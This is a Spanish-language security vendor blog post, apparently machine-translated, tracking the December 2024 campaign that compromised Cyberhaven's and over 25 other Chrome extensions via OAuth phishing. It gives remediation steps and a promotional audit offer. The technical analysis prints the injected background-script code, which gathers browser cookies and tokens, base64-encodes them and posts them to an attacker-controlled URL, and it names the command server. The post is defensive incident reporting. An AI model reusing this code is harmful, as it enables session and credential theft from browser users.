Última actualización: 30 de diciembre de 2024

Este hilo del blog sigue la campaña de ataque global que se está desarrollando contra las extensiones del navegador en Chrome Web Store. Actualizaremos los detalles a medida que estén disponibles.

Resumen

El 27 de diciembre de 2024, la startup de ciberseguridad Cyberhaven reveló que un ataque había comprometido su extensión de navegador e inyectado código malicioso en ella. Una vez que surgieron los detalles de este ataque, se descubrieron rápidamente otras extensiones de navegador comprometidas y, hasta el momento, se sabe que se han visto afectadas más de 25 extensiones.

El hilo en vivo a continuación explica todos los detalles que conocemos, qué extensiones se han visto afectadas, cómo deben protegerse las organizaciones y cómo LayerX está ayudando a sus clientes a abordar las extensiones comprometidas por este ataque.

Enlaces rápidos dentro de este documento:

  • Cómo se descubrió el ataque
  • Cómo se llevó a cabo el ataque
  • Análisis técnico del ataque
  • Extensiones adicionales afectadas
  • Cómo protegerte
  • Cómo LayerX ayuda a los clientes a protegerse
  • Auditoría y remediación complementarias de extensiones comprometidas

Cómo se descubrió el ataque

El 27 de diciembre de 2024, Cyberhaven notificó a sus clientes una vulneración de seguridad que provocó la vulneración de las credenciales de un empleado de Cyberhaven, que se utilizaron para enviar una versión maliciosa de la extensión del navegador de Cyberhaven a Chrome Store. La extensión de seguridad de Cyberhaven cuenta actualmente con más de 400,000 usuarios, que presuntamente se vieron afectados por esta vulneración.

La noticia del incidente fue Primer informe del blog de ciberseguridad Vulnu, que obtuvo una copia del correo electrónico de Cyberhaven a los clientes.

Según el análisis de Cyberhaven, el 24 de diciembre, un ataque de phishing comprometió a uno de sus empleados, lo que resultó en que los atacantes obtuvieran acceso a la extensión del navegador de la empresa en Chrome Web Store.

Los atacantes luego aprovecharon este acceso para cargar una versión maliciosa de la extensión del navegador de Cyberhaven y la actualizaron en Chrome Store en las primeras horas del 25 de diciembre.

Según Cyberhaven, la actualización maliciosa fue detectada aproximadamente un día después y el código malicioso fue eliminado en las primeras horas del 26 de diciembre. En total, la versión maliciosa estuvo en línea durante poco más de 24 horas.

Sin embargo, cuando empezó a surgir que extensiones adicionales estaban comprometidas, se hizo evidente que el ataque de Cyberhaven no fue un ataque aislado dirigido solo a esta empresa, sino más bien parte de una campaña extensa. 

Esto hace que el análisis del incidente de Cyberhaven sea relevante para comprender la campaña en su conjunto.

Cómo se llevó a cabo el ataque

La cuenta de administrador de la extensión del navegador Cyberhaven se vio comprometida a través de un ataque de phishing dirigido, lo que permitió al atacado publicar una versión maliciosa de la misma.

Dado que este incidente no fue solo un ataque único, sino parte de una campaña dirigida a múltiples extensiones, creemos que el enfoque de phishing utilizado para atacar a Cyberhaven se replicó también con todas las demás extensiones.

La fuente más probable de los objetivos de la campaña de phishing es la propia Chrome Web Store.

Para cada extensión, Chrome Store proporciona detalles del editor de la extensión, junto con una dirección de correo electrónico de contacto:

 

 

Datos de contacto de muestra de la extensión del navegador Cyberhaven, de Chrome Web Store

Utilizando estas direcciones de correo electrónico, los atacantes enviaron correos electrónicos falsos pretendiendo ser de nombre de Google, alertando a los destinatarios sobre "violaciones" en sus cuentas.

Esta es una copia del correo electrónico de phishing enviado a Cyberhaven, que la empresa proporcionó como parte de su Análisis técnico del incidente:

Sin embargo, también han surgido correos electrónicos similares de otras fuentes: un Hilo en el grupo de discusión Chromium.org Preguntó sobre un correo electrónico sospechoso que recibieron supuestamente de Google, para entender si se trata de un intento de phishing:

Ataque de extensión del navegador 2024

Este correo electrónico es casi idéntico al que afectó a Cyberhaven (aunque indica un motivo de "infracción" diferente), lo que indica que era parte de la misma campaña de phishing. Según la publicación, este correo electrónico se recibió el 23 de diciembre, justo en el momento en que se produjo la vulneración de Cyberhaven.

Una vez que el objetivo previsto hizo clic en el enlace del correo electrónico, se lo dirigió a un formulario de autorización de Google para agregar una aplicación OAuth de Google llamada "Extensiones de política de privacidad".

Oauth

Seguir este flujo de aprobación daría lugar a la autorización de la aplicación OAuth maliciosa de terceros y a su concesión de acceso a la cuenta de Chrome Web Store de la víctima. Sin embargo, debido a la forma en que se diseñó el ataque, los atacantes no necesitaron comprometer las credenciales de la cuenta (es decir, la contraseña), solo "aprovecharse" de los permisos concedidos por la aplicación maliciosa.

Análisis técnico del ataque

Una vez que los atacantes obtuvieron acceso a la cuenta de la tienda web de la víctima, inyectaron código en el archivo worker.js de la extensión para acceder a una URL externa (cyberhavenext[.]pro) y descargar un archivo de configuración externo.

Cada vez que se inicia el navegador, la extensión obtiene un archivo de configuración de un servidor remoto. Este archivo controla el comportamiento de la extensión y el atacante puede actualizarlo dinámicamente, lo que le permite dictar Lo que y when Se producen acciones. El atacante puede Cambie el archivo de configuración en cualquier momento, lo que les permite adaptar el ataque a diferentes entornos u objetivos de forma dinámica. Esta es la clave de la flexibilidad del ataque.

A continuación se muestra un ejemplo de dicho código:

Las extensiones del navegador atacan códigos maliciosos

Ideas clave del código:

  1. Inyectado en múltiples extensiones:El código malicioso no se limita a una única extensión, sino que se ha inyectado en varias extensiones, cada una de las cuales obtiene su propio archivo de configuración exclusivo. Esta estrategia permite al atacante diversificar los vectores de ataque, personalizar los comportamientos de las distintas extensiones y dificultar la detección.
  2. Comportamiento recurrenteLa obtención de la configuración se produce cada vez que se inicia el navegador, lo que garantiza que cada extensión siempre funcione con las últimas instrucciones proporcionadas por el atacante.
  3. Nombres engañosos:El código utiliza nombres de variables o atributos, como administración de extensiones de CyberhaveNext, que contiene el nombre de la empresa. Esto hace que parezca legítimo para los desarrolladores que inspeccionan el almacenamiento o el código de la extensión.
  4. Abuso de almacenamiento local:Al almacenar los datos de configuración en Chrome.almacenamiento.localEl atacante garantiza la persistencia. Los desarrolladores que inspeccionen estos datos podrían confiar en ellos por error debido al uso de nombres familiares o creíbles.
  5. Control dinámico:El punto final (https://cyberhavenext.pro/ai-cyberhaven) permite al atacante modificar los archivos de configuración de cada extensión en cualquier momento, proporcionando control completo sobre la funcionalidad y el comportamiento de cada extensión infectada.
  6. Configuraciones personalizadas:Cada extensión recupera una configuración única, lo que hace que el comportamiento malicioso sea más difícil de generalizar y detectar. Este enfoque permite realizar ataques personalizados en función del propósito específico de la extensión o de la base de usuarios.

Además, el código agregó un nuevo archivo (content.js) a las extensiones, que se utiliza para recopilar datos de los usuarios en sitios web y filtrarlos a un sitio web externo. El script en segundo plano de la extensión funciona como un controlador central, que maneja los mensajes entrantes de los scripts de contenido y realiza varias acciones en función de esos mensajes. El siguiente fragmento de código demuestra una estructura flexible que espera procesar varios tipos de solicitudes:

chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))

El script usa chrome.runtime.onMessage.addListener para procesar una variedad de acciones. Cada acción define un comportamiento específico, como realizar solicitudes de red.

Cuando el "cyberhavenext-check-errors" Cuando se invoca la acción, el atacante recupera cookies confidenciales utilizando chrome.cookies.getAll El atacante también combina estos datos con otra información (como navigator[c] y e.uid) el atacante ocultará el contenido usando btoa() para convertirlos a base64. Esto hace que los datos sean menos legibles en las herramientas de monitoreo de red, lo que agrega una capa de ofuscación.

Al incorporar estas acciones en el script en segundo plano, el atacante garantiza que:

  • La actividad maliciosa es independiente de las interacciones del usuario.
  • Ocurre silenciosamente en segundo plano, lo que hace más difícil detectarlo.
El análisis que Cyberhaven realizó en los puntos finales expuestos indica que el código malicioso se centró específicamente en las cookies y tokens de autenticación de Facebook y, en particular, en las cuentas comerciales de Facebook:

Según Cyberhaven, los datos atacados incluían tokens de acceso de Facebook, identificaciones de usuarios, información de cuentas y detalles de cuentas de anuncios de Facebook.

Extensiones adicionales afectadas

Una vez identificada la URL del servidor C&C malicioso, los investigadores de seguridad utilizaron DNS inverso para identificar dominios adicionales que se resolvieron en la misma dirección IP. Esto llevó a la Descubrimiento de extensiones de navegador comprometidas adicionales y reveló el alcance de esta campaña de ataques.

Hasta el momento, se han descubierto que más de 25 extensiones de navegador, con una base instalada de más de 2.3 millones de usuarios, están comprometidas:

  • Asistente de IA: ChatGPT y Gemini para Chrome
  • Compañero de tienda con inteligencia artificial
  • Chat de IA de Bard
  • Cambiador de favicon de marcadores
  • Cástoro
  • Asistente de ChatGPT: búsqueda inteligente
  • Extensión de seguridad Cyberhaven V3
  • Earny: hasta un 20 % de reembolso en efectivo
  • Email Hunter
  • Resumen de GPT 4 con OpenAI
  • Inspector de red GraphQL
  • VPN de Internet
  • Grabador de historial de teclado
  • Charlas de loros
  • Primus
  • Modo lector
  • Automatizador de búsqueda de recompensas
  • Buscar en Copilot AI Assistant para Chrome
  • Ordenar por más antiguo
  • Tackker: herramienta de registro de teclas en línea
  • TinaMind: ¡el asistente de IA con tecnología GPT-4o!
  • Uvoice
  • VidHelper – Descargador de videos
  • Vidnoz Flex: grabador de vídeo y compartición de vídeos
  • Efectos visuales para Google Meet
  • VPNCiudad
  • IA de Wayin

Cómo protegerte

Aunque el análisis técnico hasta el momento ha indicado que el objetivo principal de esta campaña ha sido el robo de credenciales de Facebook y tokens de acceso, es imposible descartar la exposición de credenciales de sitios web adicionales.

Es por esto que LayerX recomienda las siguientes acciones para todos los usuarios afectados:

  1. Eliminar las extensiones del navegador afectadas: asegúrese de que todas las extensiones afectadas se eliminen o bloqueen. Algunas de las extensiones ya han cargado versiones actualizadas que eliminaron el código malicioso, pero no todas. Además, cualquier extensión comprometida que ya se haya descargado permanecerá expuesta hasta que el usuario actualice la versión de la extensión. Por eso es fundamental deshabilitar activamente todas las extensiones potencialmente expuestas.
  2. Actualizar todas las extensiones a las últimas versiones:en el caso de que el editor haya publicado una solución, es importante actualizar la versión instalada de la extensión lo antes posible (asumiendo que no se haya eliminado ya)
  3. Eliminar todas las cookies de los usuarios afectados:Dado que el ataque tenía como objetivo las cookies y los tokens de acceso de los sitios web, es imperativo eliminar todas las cookies existentes y actualizar los tokens de acceso.
  4. Rotar contraseñas:Como práctica recomendada, también se recomienda actualizar todas las contraseñas de los usuarios afectados, para garantizar que ninguna credencial de acceso quede comprometida.

Cómo LayerX ayuda a sus clientes

  1. Descubrimiento de extensiones expuestas:Desde que se reveló el incidente de Cyberhaven, los investigadores de seguridad de todo el mundo han estado trabajando para identificar extensiones comprometidas adicionales. LayerX ha estado activo en este esfuerzo, descubriendo varias de esas extensiones y combinándolas con información disponible públicamente.
  2. Detección de extensiones maliciosas implementadas en las redes de los clientes:LayerX ha estado actualizando continuamente sus listas de extensiones maliciosas para incluir las extensiones que se han descubierto que han sido comprometidas por esta vulneración. Cada vez que se descubre una extensión de este tipo, los clientes reciben una alerta inmediata. Además, LayerX ha estado contactando activamente a los clientes afectados para avisarles de estos hallazgos.
  3. Implementación de políticas de cumplimiento automático:LayerX ha actualizado las políticas del cliente para deshabilitar automáticamente cualquier extensión comprometida conocida.
  4. Eliminación de cookies de usuarios expuestos:a pedido del usuario, LayerX puede forzar activamente la eliminación de cookies en los usuarios expuestos, restableciendo así las cookies y los tokens de autenticación.
  5. Forzar la rotación de contraseñas para usuarios expuestos:LayerX también puede implementar políticas de seguridad para forzar la rotación de contraseñas en usuarios expuestos, para garantizar que ninguna credencial de acceso quede expuesta.

Auditoría y remediación complementarias de extensiones comprometidas

Debido a la amplitud y el alcance de este ataque, LayerX ofrece a las organizaciones afectadas por este ataque (o preocupadas por ser potencialmente afectadas) auditoría y reparación de extensiones de navegador gratuitas.

Esta auditoría incluye:

  • Descubrimiento de todas las extensiones del navegador instaladas en su entorno
  • Mapeo de qué usuarios tienen qué extensiones instaladas en sus puntos finales
  • Puntuación de riesgo detallada de cada extensión del navegador
  • Eliminación de extensiones de navegador maliciosas comprometidas
  • Rotación de cookies y contraseñas de usuario, en caso de ser necesario

Haga clic aquí para inscribirse para esta evaluación.